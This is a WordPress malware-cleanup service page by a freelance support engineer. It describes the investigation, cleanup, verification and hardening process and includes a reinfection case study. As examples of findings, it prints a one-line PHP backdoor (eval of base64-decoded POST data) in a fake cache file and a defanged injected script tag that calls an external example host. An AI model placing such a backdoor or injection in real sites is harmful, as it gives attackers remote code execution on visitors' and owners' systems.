Something got into your WordPress site? Let's find out what, and get all of it out.

Maybe Google is showing a red warning before people can reach you. Maybe your host paused the account, or there are pages in a language you never wrote in, or a customer said your emails look like spam. Whatever tipped you off, deleting the one file you noticed rarely fixes what actually let someone in.

I investigate how the compromise happened, remove the malicious components I identify, verify the installation, and harden the site against repeat compromise.

  • Hands-on investigation
  • Clear findings
  • Proper cleanup
Site Health
Example scan
42
Needs attention

Several security-related issues were detected.

WordPress 6.x
Security checks 4 issues
  • Administrator account Unrecognized administrator account found
    Critical
  • Core integrity Modified file: wp-includes/load.php
    Critical
  • Scheduled tasks Unrecognized scheduled task detected
    Warning
  • Plugin vulnerability Active plugin requires attention
    Warning

The visible symptom is rarely the whole compromise.

A defaced homepage or a spam redirect is usually just the part you happened to notice. Behind it there's often an admin account nobody on your team created, a core file that's been quietly modified, a cron job that re-adds the malware after you delete it, or a dropper sitting untouched in wp-content/uploads since the original breach.

Cleaning the visible part and calling it done is a common reason the same site gets reinfected a few weeks later, sometimes right after a previous "cleanup."

From a single suspicious file to a full compromise cleanup.

Focused remediation for individual WordPress installs on standard shared or cloud hosting.

class-cache.php Flagged
41function load_cache() {
42  @eval(base64_decode($_POST['d']));
43}

Malware, backdoors & droppers

Injected PHP, obfuscated eval(base64_decode(...)) payloads, uploader shells, and known families like wp-vcd or fake plugin/theme droppers.

Users
Aadmin Administrator
Wwp-support-user Administrator
Eeditor_hamna Editor

Unauthorized admin & user access

Extra administrator accounts, unexpected roles, and credentials that were compromised without anyone noticing.

Search Console — Indexed Pages
  • /product-category/shoes/
  • /ページ/漢字-バッグ/Spam
  • /wp-content/tmp/index.phpSpam

SEO spam & redirects

Cloaked redirects, spam pages indexed under your domain, and content injections including the "Japanese keyword hack" pattern.

wp_posts — row 118
IDpost_content
118 …<script src="hxxp://cdn-stat.example/j.js"></script>

Database-level injections

Malicious scripts or content inserted into posts, options, or widgets, the kind of thing a file-only scan never finds.

wp core verify-checksums
  • wp-admin/includes/class-x.phpModified
  • wp-includes/load.phpModified
  • wp-includes/version.phpOK

Core & plugin/theme integrity

Modified WordPress core files, tampered plugin or theme code, and anything that fails checksum verification.

Scheduled Events
  • wp_version_checktwicedaily
  • wp_maybe_syncevery 5 min
  • wp_scheduled_deletedaily

Persistence mechanisms

Malicious cron jobs and scheduled tasks, the reason a surface-level cleanup often doesn't stick.

Investigate. Clean. Verify. Harden.

01

Investigate

Go through the filesystem, database, users, plugins, themes, and whatever logs are available, not just what's visible on the front end.

02

Clean

Remove confirmed malicious files and accounts, replace tampered core or plugin files from clean sources, and clean injected database content.

03

Verify

Re-run core checksums, recheck plugins and themes, and test the site as both a visitor and an admin to confirm the symptoms are actually gone.

04

Harden

Address the weakness behind the compromise whether it's outdated software, compromised credentials, vulnerable code, or another issue — apply the necessary updates and fixes, and give you clear next steps to reduce the chance of repeat compromise.

A clean site, a clear record, and a safer way forward.

No vague “fixed” message. You’ll know what was found, what was changed, and what still needs attention.

01

A cleaned, working WordPress installation

02

A written summary of what was compromised and how

03

The specific actions taken, in plain language

04

Verification against core checksums and known symptoms

05

Practical hardening, not a security plugin left on defaults

06

Next-step recommendations, prioritized by actual risk

07

First findings within 24 hours of access; most cleanups completed within 48 hours

08

Free re-clean if the same infection returns within 30 days

09

Temporary access only, which you can revoke the moment I’m done

NOTE: Reinfection through a newly installed vulnerable plugin, a new weak password, or a different entry point is scoped separately. I’ll tell you exactly what I find so it doesn’t happen again.

Evidence before assumptions.

Most WordPress cleanup checklists only look inside wp-admin. My day-to-day work sits at the hosting level, server logs, file permissions, account-level access, control panel security tooling alongside the WordPress installation itself. That's usually where the real story of a compromise actually is, and it's why "the malware plugin says it's clean" isn't where this stops.

investigation.sh
$ wp core verify-checksums
Success: WordPress installation verifies against checksums.

$ wp user list --role=administrator
ID  user_login        user_registered
1   admin              2022-03-11
14  wp-support-user    2026-08-02   <- unrecognized

$ grep -rl "eval(base64_decode" wp-content/ 2>/dev/null
wp-content/uploads/2024/06/class-cache.php

$ echo "Investigation in progress"

A WooCommerce store that kept getting reinfected. Three layers. One cleanup.

Earlier cleanups had not held. The malware lived in the files, the database and the access routes at the same time, so every layer had to be cleaned together.

  • 24hto contain the site and clean the files
  • 3layers compromised: files, database, access
  • 2 of 4administrator accounts were unrecognised
  • 2malicious options hiding in the database

Files

FOUND

  • Modified core files
  • Malware in plugins & theme
  • Fake caching/security plugins
  • 777 permissions
  • Out-of-date plugins
  • Unlicensed page builder

FIXED

  • Core replaced
  • Plugins & theme reinstalled
  • PHP blocked in uploads
  • Permissions secured

Database

FOUND

  • Hidden header-injected code
  • Hid itself from logged-in staff
  • Fake “verify you are human” overlay
  • Spam posts & injected comments

FIXED

  • Both malicious options removed
  • Spam posts & comments deleted

Access

FOUND

  • 2 unknown administrators
  • Rogue scheduled task
  • Credentials at risk

FIXED

  • Unknown admins removed
  • All sessions ended
  • cPanel & database passwords changed
  • Cron, FTP, SSH, forwarders checked
  1. Safe copyForensic backup, never restored
  2. FilesCore, plugins, theme, uploads
  3. DatabaseInjected options, spam, comments
  4. AccessAdmins, sessions, passwords, cron
  5. VerifyChecksums, visitor view, malware scan
  6. MonitorWatched for repeat activity
RESULT

Back online, running properly, and verified.

No reinfection after 7 days of monitoring

verification
$ wp core verify-checksums
Success: WordPress installation verifies against checksums.

# indicators gone from served page (one of several checks)
$ curl -s https://example.com/ | grep -ciE 'cf-boot|embed\.js'
0

Checksums only cover WordPress core. A site can pass them and still be compromised.

That’s why the cleanup covered files, database and access together.
  • Written timelineEvery action, in order
  • Plain-language listWhat changed and why
  • Next stepsLicences, 2FA, updates, Search Console check
  • Store-owner heads-upVisitors may have seen the fake prompt; assess customer-data obligations
~3 Years Hosting & WordPress Support
50+ Websites Cleaned & Hardened

About Hamna Zafar

I know how frustrating it is when your website gets hacked and you're left figuring out what to do next.

Your site is down, visitors are seeing something they shouldn't, Google may be flagging your domain, or your host has suspended the account. You reach out for help because you need someone to actually look at your site and tell you what happened.

Sometimes, instead, you're handed a generic guide. Or pointed at a security plugin. Or the obvious malicious file gets removed and the site looks fine until the same problem comes back.

That's the gap I want to close.

I'm a Technical Support Engineer working across Web Hosting and WordPress. My day-to-day involves troubleshooting at both the WordPress and hosting level, files, users, and plugins, but also DNS, server logs, account-level issues, and security tooling.

When I investigate a compromised site, I'm not trying to just make the warning disappear. I want to understand what changed, check for what might have been left behind, verify the installation, and give you a clear explanation of what I found and what should happen next.

Because when your site is compromised, you don't need another generic checklist. You need someone to actually investigate.

Think your WordPress site has been hacked?

Tell me what you're seeing and a bit about your setup. I'll reply within 24 hours letting you know whether it's in scope and roughly what it'll take.

Cleanup engagements typically start at $149 $99 Launch price · first 3 clients

Scoped once I've actually seen what's going on.

Scope note: this covers a single WordPress install on standard shared or cloud hosting. A compromised VPS, multi-account shared hosting infection, or a site with no admin/hosting access at all is usually a different job, mention it in the notes and I'll tell you either way.

What are you seeing?